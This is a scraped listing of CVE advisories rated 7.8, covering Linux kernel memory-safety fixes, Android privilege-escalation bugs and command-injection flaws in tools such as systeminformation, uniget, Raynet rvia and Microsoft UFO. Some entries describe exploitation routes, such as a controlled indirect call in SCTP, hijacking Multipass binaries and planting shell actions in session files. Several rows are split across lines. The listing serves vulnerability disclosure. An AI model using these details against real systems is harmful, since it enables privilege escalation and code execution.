CVE-2025-41670	A local user with low privileges may be able to influence the behavior of a privileged system service by manipulating configuration or application-related files located in user-writable areas of the filesystem. The affected service processes data from locations that are not sufficiently protected against modification by low-privileged users. As the service runs with elevated privileges, successful exploitation may result in a local privilege escalation.	7.8	More Details
CVE-2025-59606	Memory Corruption when writing to invalid memory locations occurs due to heap memory exhaustion during secure data initialization.	7.8	More Details
CVE-2025-59605	Memory Corruption when processing device identifier strings that exceed the expected maximum length.	7.8	More Details
CVE-2026-44724	systeminformation is a System and OS information library for node.js. From 4.17.0 to 5.31.5, on Linux, systeminformation is vulnerable to command injection in networkInterfaces() when an active NetworkManager connection profile name contains shell metacharacters. The vulnerable value is obtained internally from real nmcli device status output. The library sanitizes the network interface name before using it in shell commands, but it does not apply equivalent sanitization to the parsed NetworkManager connection profile name. That unsanitized connectionName is then interpolated into three shell command strings executed through execSync(). This vulnerability is fixed in 5.31.6.	7.8	More Details
CVE-2026-0076	In validateNode of ResourceTypes.cpp, there is a possible out of bounds read due to an incorrect bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2026-46053	In the Linux kernel, the following vulnerability has been resolved: net: rds: fix MR cleanup on copy error __rds_rdma_map() hands sg/pages ownership to the transport after get_mr() succeeds. If copying the generated cookie back to user space fails after that point, the error path must not free those resources again before dropping the MR reference. Remove the duplicate unpin/free from the put_user() failure branch so that MR teardown is handled only through the existing final cleanup path.	7.8	More Details
CVE-2025-69600	Command injection in Raynet rvia RayVentory Scan Engine 12.6 Update 8 and previous versions allows adversaries to execute commands via getconfig, upload, inventory, and oracle options.	7.8	More Details
CVE-2026-47333	Ubuntu Linux 6.8, 6.17 and 7.0 contain AppArmor SAUCE patches which can potentially incorrectly compute the size of an internal buffer, leading to a heap memory out-of-bounds read in notification handling code. The bug can be triggered by an unprivileged local user and can result in invalid data being processed by the AppArmor DFA policy engine.	7.8	More Details
CVE-2026-0036	In startAnimation of StageCoordinator.java, there is a possible tapjacking issue due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2026-38945	Command injection in Raynet rvia version 12.6 Update 8 and previous versions allows adversaries to execute arbitrary code via a crafted path that matches the improperly terminated search criteria of rvia's Java search using the find command.	7.8	More Details
	In the Linux kernel, the following vulnerability has been resolved: crypto: acomp - fix wrong pointer stored by acomp_save_req() acomp_save_req() stores &req->chain in req->base.data. When acomp_reqchain_done() is invoked on asynchronous completion, it receives &req->chain as the data argument but casts it directly to struct acomp_req. Since data points to the chain member, all subsequent field accesses are at a wrong offset, resulting in memory corruption. The issue occurs when an asynchronous hardware implementation, such as		

CVE-2026-46081	the QAT driver, completes a request that uses the DMA virtual address interface (e.g. acomp_request_set_src_dma()). This combination causes crypto_acomp_compress() to enter the acomp_do_req_chain() path, which sets acomp_reqchain_done() as the completion callback via acomp_save_req(). With KASAN enabled, this manifests as a general protection fault in acomp_reqchain_done(): general protection fault, probably for non-canonical address 0xe000040000000000 KASAN: probably user-memory-access in range [0x0000400000000000-0x0000400000000007] RIP: 0010:acomp_reqchain_done+0x15b/0x4e0 Call Trace: <IRQ> qat_comp_alg_callback+0x5d/0xa0 [intel_qat] adf_ring_response_handler+0x376/0x8b0 [intel_qat] adf_response_handler+0x60/0x170 [intel_qat] tasklet_action_common+0x223/0x820 handle_softirqs+0x1ab/0x640 </IRQ> Fix this by storing the request itself in req->base.data instead of &req->chain, so that acomp_reqchain_done() receives the correct pointer. Simplify acomp_restore_req() accordingly to access req->chain directly.	7.8	More Details
CVE-2026-46090	In the Linux kernel, the following vulnerability has been resolved: ALSA: aloop: Fix peer runtime UAF during format-change stop loopback_check_format() may stop the capture side when playback starts with parameters that no longer match a running capture stream. Commit 826af7fa62e3 ("ALSA: aloop: Fix racy access at PCM trigger") moved the peer lookup under cable->lock, but the actual snd_pcm_stop() still runs after dropping that lock. A concurrent close can clear the capture entry from cable->streams[] and detach or free its runtime while the playback trigger path still holds a stale peer substream pointer. Keep a per-cable count of in-flight peer stops before dropping cable->lock, and make free_cable() wait for those stops before detaching the runtime. This preserves the existing behavior while making the peer runtime lifetime explicit.	7.8	More Details
CVE-2025-48652	In performPreInstallChecks of InstallRepository.kt, there is a possible way to bypass MDM policy due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2025-48649	In multiple locations, there is a possible way to reset user-selected permissions selections due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2026-3623	IBM Netezza Performance Server Replication Services 3.0.2.0 through 3.0.5.0 allows an attacker with low-privileged access to escalate their privileges to root. By exploiting this flaw, the attacker can execute root-level commands, obtain a root shell, and change the root user’s password. Successful exploitation also enables modification or removal of system-wide files and the installation of persistent backdoors. This results in full system compromise with complete loss of confidentiality, integrity, and availability.	7.8	More Details
CVE-2025-48570	In multiple functions of PipTaskOrganizer.java, there is a possible way to launch an activity from the background due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2026-25259	Memory corruption while processing multiple IOCTL command for escape operations.	7.8	More Details
CVE-2025-32348	In multiple locations, there is a possible background activity launch due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2026-46093	In the Linux kernel, the following vulnerability has been resolved: mm/vmalloc: take vmap_purge_lock in shrinker decay_va_pool_node() can be invoked concurrently from two paths: __purge_vmap_area_lazy() when pools are being purged, and the shrinker via vmap_node_shrink_scan(). However, decay_va_pool_node() is not safe to run concurrently, and the shrinker path currently lacks serialization, leading to races and possible leaks. Protect decay_va_pool_node() by taking vmap_purge_lock in the shrinker path to ensure serialization with purge users.	7.8	More Details
CVE-2025-59604	Memory Corruption when running a memory copy operation due to invalid writes caused by a null pointer.	7.8	More Details
CVE-2026-25258	Memory corruption while processing IOCTL calls for escape operations.	7.8	More Details
CVE-2026-45852	In the Linux kernel, the following vulnerability has been resolved: RDMA/rxe: Fix double free in rxe_srq_from_init In rxe_srq_from_init(), the queue pointer 'q' is assigned to 'srq->rq.queue' before copying the SRQ number to user space. If copy_to_user() fails, the function calls rxe_queue_cleanup() to free the queue, but leaves the now-invalid pointer in 'srq->rq.queue'. The caller of rxe_srq_from_init() (rxe_create_srq) eventually calls rxe_srq_cleanup() upon receiving the error, which triggers a second rxe_queue_cleanup() on the same memory, leading to a double free. The call trace looks like this: kmem_cache_free+0x.../0x... rxe_queue_cleanup+0x1a/0x30 [rdma_rxe] rxe_srq_cleanup+0x42/0x60 [rdma_rxe] rxe_elem_release+0x31/0x70 [rdma_rxe] rxe_create_srq+0x12b/0x1a0 [rdma_rxe] ib_create_srq_user+0x9a/0x150 [ib_core] Fix this by moving 'srq->rq.queue = q' after copy_to_user.	7.8	More Details

CVE-2026-46100	In the Linux kernel, the following vulnerability has been resolved: fs: afs: revert mmap_prepare() change Partially reverts commit 9d5403b1036c ("fs: convert most other generic_file_*mmap() users to .mmap_prepare()"). This is because the .mmap invocation establishes a refcount, but .mmap_prepare is called at a point where a merge or an allocation failure might happen after the call, which would leak the refcount increment. Functionality is being added to permit the use of .mmap_prepare in this case, but in the interim, we need to fix this.	7.8	More Details
CVE-2025-22424	In multiple locations, there is a possible way to reveal images across users due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.	7.8	More Details
CVE-2026-46227	In the Linux kernel, the following vulnerability has been resolved: sctp: revalidate list cursor after sctp_sendmsg_to_asoc() in SCTP_SENDALL The SCTP_SENDALL path in sctp_sendmsg() iterates ep->asocs with list_for_each_entry_safe(), which caches the next entry in @tmp before the loop body runs. The body calls sctp_sendmsg_to_asoc(), which may drop the socket lock inside sctp_wait_for_sndbuf(). While the lock is dropped, another thread can SCTP_SOCKOPT_PEELOFF the association cached in @tmp, migrating it to a new endpoint via sctp_sock_migrate() (list_del_init() + list_add_tail() to newep->asocs), and optionally close the new socket which frees the association via kfree_rcu(). The cached @tmp can also be freed by a network ABORT for that association, processed in softirq while the lock is dropped. sctp_wait_for_sndbuf() revalidates @asoc (the current entry) on re-lock via the "sk != asoc->base.sk" and "asoc->base.dead" checks, but nothing revalidates @tmp. After a successful return, the iterator advances to the stale @tmp, yielding either a use-after-free (if the peeled socket was closed) or a list-walk onto the new endpoint's list head (type confusion of &newep->asocs as a struct sctp_association *). Both are reachable from CapEff=0; the type-confusion path gives controlled indirect call via the outqueue.sched->init_sid pointer. Fix by re-deriving @tmp from @asoc after sctp_sendmsg_to_asoc() returns. @asoc is known to still be on ep->asocs at that point: the only callers that list_del an association from ep->asocs are sctp_association_free() (which sets asoc->base.dead) and sctp_assoc_migrate() (which changes asoc->base.sk), and sctp_wait_for_sndbuf() checks both under the lock before any successful return; a tripped check propagates as err < 0 and the loop bails before the re-derive. The SCTP_ABORT path in sctp_sendmsg_check_sflags() returns 0 and the loop hits 'continue' before sctp_sendmsg_to_asoc() is ever called, so the @tmp cached by list_for_each_entry_safe() still covers the lock-held free that ba59fb027307 ("sctp: walk the list of asoc safely") was added for.	7.8	More Details
CVE-2026-49366	In JetBrains IntelliJ IDEA before 2026.1.1 command injection was possible via filename completion	7.8	More Details
CVE-2026-9987	Insufficient validation of untrusted input in WebAppInstalls in Google Chrome on Android prior to 148.0.7778.216 allowed a local attacker to execute arbitrary code via a malicious file. (Chromium security severity: High)	7.8	More Details
CVE-2026-46157	In the Linux kernel, the following vulnerability has been resolved: ALSA: pcm: oss: Fix data race at accessing runtime.oss.trigger Currently the runtime.oss.trigger field may be accessed concurrently without protection, which may lead to the data race. And, in this case, it may lead to more severe problem because it's a bit field; as writing the data, it may overwrite other bit fields as well, which confuses the operation completely, as spotted by fuzzing. Fix it by covering runtime.oss.trigger bit fled also with the existing params_lock mutex in both snd_pcm_oss_get_trigger() and snd_pcm_oss_poll().	7.8	More Details
CVE-2026-45555	Roslyn CodeLens MCP Server is a Roslyn-based MCP server providing semantic code intelligence for .NET codebases. From 0.0.9 to 1.17.0, the get_diagnostics MCP tool loads and executes all DiagnosticAnalyzer assemblies referenced by the target solution without any allowlist, signature check, or user confirmation; includeAnalyzers defaults to true, so no explicit opt-in is required. An attacker who can place a malicious .csproj referencing an attacker-controlled DLL in a location the victim opens with the MCP server will achieve arbitrary code execution in the server process with the server's OS privileges. This vulnerability is fixed in 1.17.0.	7.8	More Details
CVE-2025-41281	Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in Waterfall WF-500 RX Host in version 7.9.1.0 R2502171040 that allows attackers with access to the TX Host to execute code on the RX Host when a MySQL connector is configured.	7.8	More Details
CVE-2026-46173	In the Linux kernel, the following vulnerability has been resolved: exit: prevent preemption of oopsing TASK_DEAD task When an already-exiting task oopses, make_task_dead() currently calls do_task_dead() with preemption enabled. That is forbidden: do_task_dead() calls __schedule(), which has a comment saying "WARNING: must be called with preemption disabled!". If an oopsing task is preempted in do_task_dead(), between becoming TASK_DEAD and entering the scheduler explicitly, bad things happen: finish_task_switch() assumes that once the scheduler has switched away from a TASK_DEAD task, the task can never run again and its stack is no longer needed; but that assumption apparently doesn't hold if the dead task was preempted (the SM_PREEMPT case). This means that the scheduler ends up repeatedly dropping references on the dead task's stack, which can lead to use-after-free or double-free of the entire task stack; in other words, two tasks can end up running on the same stack, resulting in various kinds of memory corruption. (This does not just affect "recursively oopsing" tasks; it is enough to oops once during task exit, for example in a file_operations::release handler)	7.8	More Details

CVE-2026-46176	In the Linux kernel, the following vulnerability has been resolved: RDMA/mlx5: Fix error path fall-through in mlx5_ib_dev_res_srq_init() mlx5_ib_dev_res_srq_init() allocates two SRQs, s0 and s1. When ib_create_srq() fails for s1, the error branch destroys s0 but falls through and unconditionally assigns the freed s0 and the ERR_PTR s1 to devr->s0 and devr->s1. This leads to several problems: the lock-free fast path checks "if (devr->s1) return 0;" and treats the ERR_PTR as already initialised; users in mlx5_ib_create_qp() dereference the freed SRQ or ERR_PTR via to_msrq(devr->s0)->msrq.srqn; and mlx5_ib_dev_res_cleanup() dereferences the ERR_PTR and double-frees s0 on teardown. Fix by adding the same `goto unlock` in the s1 failure path.	7.8	More Details
CVE-2026-46178	In the Linux kernel, the following vulnerability has been resolved: RDMA/mlx4: Fix resource leak on error in mlx4_ib_create_srq() Sashiko points out that mlx4_srq_alloc() was not undone during error unwind, add the missing call to mlx4_srq_free().	7.8	More Details
CVE-2025-41280	Nozomi Networks Labs identified a CWE-23: Relative Path Traversal (Zip Slip) in Waterfall WF-500 RX Host in version 7.9.1.0 R2502171040 that allows attackers with access to the TX Host to execute code on the RX Host when a MySQL connector is configured and file compression is enabled.	7.8	More Details
CVE-2026-46181	In the Linux kernel, the following vulnerability has been resolved: RDMA/mlx4: Fix mis-use of RCU in mlx4_srq_event() Sashiko points out the radix_tree itself is RCU safe, but nothing ever frees the mlx4_srq struct with RCU, and it isn't even accessed within the RCU critical section. It also will crash if an event is delivered before the srq object is finished initializing. Use the spinlock since it isn't easy to make RCU work, use refcount_inc_not_zero() to protect against partially initialized objects, and order the refcount_set() to be after the srq is fully initialized.	7.8	More Details
CVE-2025-41278	Nozomi Networks Labs identified a CWE-125: Out-of-bounds Read in Waterfall WF-500 RX Host in version 7.10.0.0 R2601141040 that allows attackers with access to the TX Host to execute code on the RX Host.	7.8	More Details
CVE-2026-46197	In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: validate SVM ioctl nattr against buffer size Validate nattr field against the buffer size, preventing out-of-bounds buffer access via user-controlled attribute count. (cherry picked from commit 5eca8bfdfa456c3304ca77523718fe24254c172f)	7.8	More Details
CVE-2026-46145	In the Linux kernel, the following vulnerability has been resolved: RDMA/mana: Validate rx_hash_key_len Sashiko points out that rx_hash_key_len comes from a uAPI structure and is blindly passed to memcpy, allowing the userspace to trash kernel memory. Bounds check it so the memcpy cannot overflow.	7.8	More Details
CVE-2026-46201	In the Linux kernel, the following vulnerability has been resolved: drm/xe: Fix dma-buf attachment leak in xe_gem_prime_import() When xe_dma_buf_init_obj() fails, the attachment from dma_buf_dynamic_attach() is not detached. Add dma_buf_detach() before returning the error. Note: we cannot use goto out_err here because xe_dma_buf_init_obj() already frees bo on failure, and out_err would double-free it. (cherry picked from commit a828eb185aac41800df8eae4b60501ccc0dbbe51)	7.8	More Details
CVE-2026-46205	In the Linux kernel, the following vulnerability has been resolved: staging: media: atomisp: Disallow all private IOCTLs Disallow all private IOCTLs. These aren't quite as safe as one could assume of IOCTL handlers; disable them for now. Instead of removing the code, return in the beginning of the function if cmd is non-zero in order to keep static checkers happy.	7.8	More Details
CVE-2026-46206	In the Linux kernel, the following vulnerability has been resolved: batman-adv: reject new tp_meter sessions during teardown Prevent tp_meter from starting new sender or receiver sessions after mesh_state has left BATADV_MESH_ACTIVE.	7.8	More Details
CVE-2026-46208	In the Linux kernel, the following vulnerability has been resolved: batman-adv: stop tp_meter sessions during mesh teardown TP meter sessions remain linked on bat_priv->tp_list after the netlink request has already finished. When the mesh interface is removed, batadv_mesh_free() currently tears down the mesh without first draining these sessions. A running sender thread or a late incoming tp_meter packet can then keep processing against a mesh instance which is already shutting down. Synchronize tp_meter with the mesh lifetime by stopping all active sessions from batadv_mesh_free() and waiting for sender threads to exit before teardown continues.	7.8	More Details
CVE-2026-46209	In the Linux kernel, the following vulnerability has been resolved: drm/gem: Fix inconsistent plane dimension calculation in drm_gem_fb_init_with_funcs() drm_gem_fb_init_with_funcs() computes sub-sampled plane dimensions using plain integer division: unsigned int width = mode_cmd->width / (i ? info->hsub : 1); unsigned int height = mode_cmd->height / (i ? info->vsub : 1); However, the ioctl-level framebuffer_check() in drm_framebuffer.c uses drm_format_info_plane_width/height() which round up dimensions via DIV_ROUND_UP(). This inconsistency corrupts the subsequent GEM object size check for certain pixel format and dimension combinations. For example, with NV12 (vsub=2) and a 1-pixel-tall framebuffer the GEM size validation path sees height=0 instead of height=1. The expression (height - 1) then wraps to UINT_MAX as an unsigned int, causing min_size to overflow and wrap back to a small value. A tiny GEM object therefore passes the size guard, yet when the GPU accesses the chroma plane it will read or write memory beyond the object's bounds. Fix by replacing the open-coded divisions with drm_format_info_plane_width() and drm_format_info_plane_height(), which use DIV_ROUND_UP() and match the calculation already used in framebuffer_check().	7.8	More Details

CVE-2026-46210	In the Linux kernel, the following vulnerability has been resolved: media: iris: fix use-after-free of fmt_src during MBPF check During concurrency testing, multiple instances can run in parallel, and each instance uses its own inst->lock while the core->lock protects the list of active instances. The race happens because these locks cover different scopes, inst->lock protects only the internals of a single instance, while the Macro Blocks Per Frame (MBPF) checker walks the core list under core->lock and reads fields like fmt_src->width and fmt_src->height. At the same time, iris_close() may free fmt_src and fmt_dst under inst->lock while the instance is still present in the core list. This allows a situation where the MBPF checker, still iterating through the core list, reaches an instance whose fmt_src was already freed by another thread and ends up dereferencing a dangling pointer, resulting in a use-after-free. This happens because the MBPF checker assumes that any instance in the core list is fully valid, but the freeing of fmt_src and fmt_dst without removing the instance from the core list is not correct. The correct ordering is to defer freeing fmt_src and fmt_dst until after the instance has been removed from the core list and all teardown under the core lock has completed, ensuring that no dangling pointers are ever exposed during MBPF checks.	7.8	More Details
CVE-2026-0096	In getAppLabel of ForgetDeviceDialogFragment.java, there is a possible trick the user into forgetting a device due to misleading or insufficient UI. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2026-46215	In the Linux kernel, the following vulnerability has been resolved: drm: Set old handle to NULL before prime swap in change_handle There was a potential race condition in change_handle. The ioctl briefly had a single object with two idr entries; a concurrent gem_close could delete the object and remove one of the handles while leaving the other one dangling, which could subsequently be dereferenced for a use-after-free. To fix this, do the same dance that gem_close itself does. (f6cd7daecff5 drm: Release driver references to handle before making it available again) First idr_replace the old handle to NULL. Later, if the prime operations are successful, actually close it. create_tail required a similar dance to avoid a similar problem. (bd46cece51a3 drm/gem: Fix race in drm_gem_handle_create_tail()) It idr_allocs the new handle with NULL, then swaps in the correct object later to avoid races. We don't need to do that here, since the only operations that could race are drm_prime, and change_handle holds the prime lock for the entire duration. v2: cleanups of error paths	7.8	More Details
CVE-2026-0098	In getCallingPackageName of Shared.java, there is a possible way to bypass activity start restrictions due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2026-0100	In Load of LoadedArsc.cpp, there is a possible out of bounds write due to a heap buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2026-28577	In addWindow of WindowManagerService.java, there is a possible tapjacking issue due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2026-44709	pam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.8.7, pamusb-pinentry reads the PINENTRY_FALLBACK_APP environment variable and executes it directly without any validation. Any process that can set environment variables before pamusb-pinentry is invoked can point PINENTRY_FALLBACK_APP at an arbitrary binary or script and have it executed with the privileges of the pam_usb tool chain. This vulnerability is fixed in 0.8.7.	7.8	More Details
CVE-2026-28580	In multiple functions, there is a possible desync in persistence due to an incorrect bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2026-49237	An issue was discovered in Canonical Multipass for macOS before version 1.16.3 due to an incomplete fix for CVE-2025-5199. While the patch in version 1.16.0 updated the ownership of the multipassd daemon binary to root:wheel, five co-located binaries (multipass, qemu-img, qemu-system-aarch64, qemu-system-x86_64, and sshfs_server) in /Library/Application Support/com.canonical.multipass/bin/ retain ownership by the installing user and remain writable. Because the root LaunchDaemon (com.canonical.multipassd.plist) configures a PATH environment variable that prioritizes this user-writable directory and invokes these auxiliary binaries by their bare names, a local attacker can replace an auxiliary binary (such as qemu-img) with a malicious wrapper. When the root daemon subsequently triggers the binary during routine execution (e.g., via multipass launch), the malicious code executes with root privileges, leading to local privilege escalation.	7.8	More Details
CVE-2026-0099	In onNullBinding of HostEmulationManager.java, there is a possible way to launch an activity from the background due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.	7.8	More Details
CVE-2026-0078	In setGlobalProxy of DevicePolicyManagerService.java, there is a possible desync in persistence due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-	uniget is a universal installer and updater for (container) tools. Prior to 0.27.1, a command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an		

2026-45152	attacker can craft malicious metadata that executes arbitrary shell commands on the victim's system when common uniget operations such as describe, install, update, or inspect are performed. This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget. This vulnerability is fixed in 0.27.1.	7.8	More Details
CVE-2026-0087	In approvalLevelForDomainInternal of DomainVerificationService.java, there is a possible way to hijack an arbitrary app link due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2026-45322	Microsoft UFO open-source framework for intelligent automation across devices and platforms. Microsoft UFO tagged releases up to and including v3.0.0 contain an OS command injection vulnerability in the shell action replay path. In affected releases, ShellReceiver.run_shell() passes a command string from action parameters directly to subprocess.Popen() with shell=True and executable=powershell.exe. The same shell-execution behavior is also reachable through ShellReceiver.execute_command(). The shell receiver is invoked by action classes such as RunShellCommand.execute() and ExecuteCommand.execute(), which forward stored action parameters to the shell receiver. Because UFO stores planned and executed actions in per-session JSON records, an attacker who can write or modify a session/action JSON file can plant a shell action. When the session is resumed or replayed, UFO executes the attacker's command as the UFO process user.	7.8	More Details
CVE-2026-0088	In getCallingAppLabel of CertInstaller.java, there is a possible way to hide a sensitive security dialogue due to misleading or insufficient UI. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2026-0089	In multiple functions of PackageInstallerService.java, there is a possible way to install unverified apps due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2023-52945	Uncontrolled search path element vulnerability in OpenSSL DLL component in Synology BeeDrive for desktop before 1.3.2-13814 allows local users to execute arbitrary code via unspecified vectors.	7.8	More Details
CVE-2026-46105	In the Linux kernel, the following vulnerability has been resolved: scsi: mpt3sas: Limit NVMe request size to 2 MiB The HBA firmware reports NVMe MDTS values based on the underlying drive capability. However, because the driver allocates a fixed 4K buffer for the PRP list, accommodating at most 512 entries, the driver supports a maximum I/O transfer size of 2 MiB. Limit max_hw_sectors to the smaller of the reported MDTS and the 2 MiB driver limit to prevent issuing oversized I/O that may lead to a kernel oops.	7.8	More Details
CVE-2026-46129	In the Linux kernel, the following vulnerability has been resolved: btrfs: fix double free in create_space_info() error path When kobject_init_and_add() fails, the call chain is: create_space_info() -> btrfs_sysfs_add_space_info_type() -> kobject_init_and_add() -> failure -> kobject_put(&space_info->kobj) -> space_info_release() -> kfree(space_info) Then control returns to create_space_info(): btrfs_sysfs_add_space_info_type() returns error -> goto out_free -> kfree(space_info) This causes a double free. Keep the direct kfree(space_info) for the earlier failure path, but after btrfs_sysfs_add_space_info_type() has called kobject_put(), let the kobject release callback handle the cleanup.	7.8	More Details
CVE-2026-0091	In multiple locations, there is a possible way to execute code in the launcher process due to an over-privileged shell user. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2026-46107	In the Linux kernel, the following vulnerability has been resolved: dm-thin: fix metadata refcount underflow There's a bug in dm-thin in the function rebalance_children. If the internal btree node has one entry, the code tries to copy all btree entries from the node's child to the node itself and then decrement the child's reference count. If the child node is shared (it has reference count > 1), we won't free it, so there would be two pointers to each of the grandchildren nodes. But the reference counts of the grandchildren is not increased, thus the reference count doesn't match the number of pointers that point to the grandchildren. This results in "device mapper: space map common: unable to decrement block" errors. Fix this bug by incrementing reference counts on the grandchildren if the btree node is shared.	7.8	More Details
CVE-2026-0093	In multiple locations, there is a possible misleading UI due to obfuscation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2026-46240	In the Linux kernel, the following vulnerability has been resolved: media: iris: Fix use-after-free in iris_release_internal_buffers() The recent change in commit 1dabf00ee206 ("media: iris: gen1: Destroy internal buffers after FW releases") introduced a regression where session_release_buf() may free the buffer. The caller, iris_release_internal_buffers(), continued to access `buffer` after the call, leading to a potential use-after-free. Fix this by setting BUF_ATTR_PENDING_RELEASE before calling session_release_buf(), and reverting the flag if the call fails. This ensures no dereference occurs after potential freeing.	7.8	More Details
CVE-2026-46112	In the Linux kernel, the following vulnerability has been resolved: RDMA/hns: Fix unlocked call to hns_roce_qp_remove() Sashiko points out that hns_roce_qp_remove() requires the caller to hold locks. The error flow in hns_roce_create_qp_common() doesn't hold those locks for the error unwind so it risks	7.8	More Details

	corrupting memory. Grab the same locks the other two callers use.		
CVE-2026-0094	In getApplicationLabel of KeyChainActivity.java, there is a possible way to trick the user into approving access to certificates due to misleading or insufficient UI. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2026-46116	In the Linux kernel, the following vulnerability has been resolved: xfrm: defensively unhash xfrm_state lists in __xfrm_state_delete KASAN reproduces a slab-use-after-free in __xfrm_state_delete()'s hlist_del_rcu calls under syzkaller load on linux-6.12.y stable (reproduced on 6.12.47, also reachable via the same code path on torvalds/master and on the ipsec tree). Nine unique signatures cluster in the xfrm_state lifecycle, the load-bearing one being: BUG: KASAN: slab-use-after-free in __hlist_del include/linux/list.h:990 [inline] BUG: KASAN: slab-use-after-free in hlist_del_rcu include/linux/rculist.h:516 [inline] BUG: KASAN: slab-use-after-free in __xfrm_state_delete net/xfrm/xfrm_state.c Write of size 8 at addr ffff8881198bcb70 by task kworker/u8:9/435 Workqueue: netns cleanup_net Call Trace: __hlist_del / hlist_del_rcu __xfrm_state_delete xfrm_state_delete xfrm_state_flush xfrm_state_fini ops_exit_list cleanup_net The other observed signatures hit the same slab object from __xfrm_state_lookup, xfrm_alloc_spi, __xfrm_state_insert and an OOB write variant of __xfrm_state_delete, all on the byseq/byspi hash chains. __xfrm_state_delete() guards its byseq and byspi unhashes with value-based predicates: if (x->km.seq) hlist_del_rcu(&x->byseq); if (x->id.spi) hlist_del_rcu(&x->byspi); while everywhere else in the file (e.g. state_cache, state_cache_input) the safer hlist_unhashed() check is used. xfrm_alloc_spi() sets x->id.spi = newspi inside xfrm_state_lock and then immediately inserts into byspi, but a path that observes x->id.spi != 0 outside of xfrm_state_lock can still skip-or-hit the byspi unhash inconsistently with whether x is actually on the list. The same holds for x->km.seq versus byseq, and the bydst/bysrc unhashes have no predicate at all, so a second __xfrm_state_delete() on the same object writes through LIST_POISON pprev. The defensive change here: - Use hlist_del_init_rcu() instead of hlist_del_rcu() on bydst, bysrc, byseq and byspi so a second deletion is a no-op rather than a write through LIST_POISON pprev. The byseq/byspi nodes are already initialised in xfrm_state_alloc(). - Test hlist_unhashed() rather than the value predicate for byseq/byspi, so the unhash decision tracks list state rather than mutable scalar fields. Empirical verification: applied this patch on top of v6.12.47, rebuilt, and re-ran the same syzkaller harness for 1h16m on a previously-crashy configuration that produced ~100 hits each of slab-use-after-free Read in xfrm_alloc_spi / Read in __xfrm_state_lookup / Write in __xfrm_state_delete. After the patch, 7.1M execs across 32 VMs at ~1550 exec/sec produced zero xfrm_state UAF/OOB hits. /proc/slabinfo confirms the xfrm_state slab is actively allocated and freed during the run (~143 KiB resident), so the fuzzer is still exercising those code paths -- they just no longer crash. Reproduction: - Linux 6.12.47 x86_64 + KASAN_GENERIC + KASAN_INLINE + KCOV - syzkaller @ 746545b8b1e4c3a128db8652b340d3df90ce61db - 32 QEMU/KVM VMs x 2 vCPU on AWS c5.metal bare metal - 9 unique signatures collected in ~9h, all within xfrm_state lifecycle	7.8	More Details
CVE-2026-46117	In the Linux kernel, the following vulnerability has been resolved: RDMA/mana: Remove user triggerable WARN_ON() in mana_ib_create_qp_rss() Sashiko points out that the user can specify WQs sharing the same CQ as a part of the uAPI and this will trigger the WARN_ON() then go on to corrupt the kernel. Just reject it outright and fail the QP creation.	7.8	More Details
CVE-2026-46120	In the Linux kernel, the following vulnerability has been resolved: ip6_gre: Use cached t->net in ip6erspan_changelink(). After commit 5e72ce3e3980 ("net: ipv6: Use link netns in newlink() of rtnl_link_ops"), ip6erspan_newlink() correctly resolves the per-netns ip6gre hash via link_net. ip6erspan_changelink() was not converted in that series and still uses dev_net(dev), which diverges from the device's creation netns after IFLA_NET_NS_FD migration. This re-inserts the tunnel into the wrong per-netns hash. The original netns keeps a stale entry. When that netns is later destroyed, ip6gre_exit_rtnl_net() walks the stale entry, producing a slab-use-after-free reported by KASAN, followed by a kernel BUG at net/core/dev.c (LIST_POISON1) in unregister_netdevice_many_notify(). Reachable from an unprivileged user namespace (unshare --user --map-root-user --net). ip6gre_changelink() earlier in the same file already uses the cached t->net; only ip6erspan_changelink() has the wrong shape.	7.8	More Details
